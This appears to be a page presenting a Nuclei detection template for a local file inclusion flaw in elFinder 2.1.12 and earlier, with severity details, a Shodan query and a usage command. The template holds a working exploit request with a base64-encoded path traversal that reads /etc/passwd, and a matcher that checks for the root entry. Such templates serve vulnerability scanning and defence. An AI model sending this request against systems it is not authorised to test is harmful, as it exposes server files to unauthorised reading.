elFinder <=2.1.12 - Local File Inclusion

ID: elFinder-path-traversal

Severity: high

Author: ritikchaddha

Tags: lfi,elfinder

Description

elFinder through 2.1.12 is vulnerable to local file inclusion via Connector.minimal.php in std42. This allows unauthenticated remote attackers to read, write, and browse files outside the configured document root. This is due to improper handling of absolute file paths.

YAML Source

id: elFinder-path-traversal

info:
  name: elFinder  <=2.1.12 - Local File Inclusion
  author: ritikchaddha
  severity: high
  description: |
    elFinder through 2.1.12 is vulnerable to local file inclusion via Connector.minimal.php in std42. This allows unauthenticated remote attackers to read, write, and browse files outside the configured document root. This is due to improper handling of absolute file paths.
  reference:
    - https://www.synacktiv.com/publications/elfinder-the-story-of-a-repwning.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
    cpe: cpe:2.3:a:std42:elfinder:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"elfinder"
    product: elfinder
    vendor: std42
  tags: lfi,elfinder

http:
  - raw:
      - |
        GET /php/connector.minimal.php?cmd=file&target=l1_Li8vLi4vLy4uLy8uLi8vLi4vLy4uLy8uLi9ldGMvcGFzc3dk&download=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a0046304402206db72c1ff1c252b0dc40cf6427609ab73354130e159aff02a0e63a41e3e85ea6022064832f681c1495524300f059f626509d06743b40257de2545bee1a1c58e3f610:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/other/elFinder-path-traversal.yaml"

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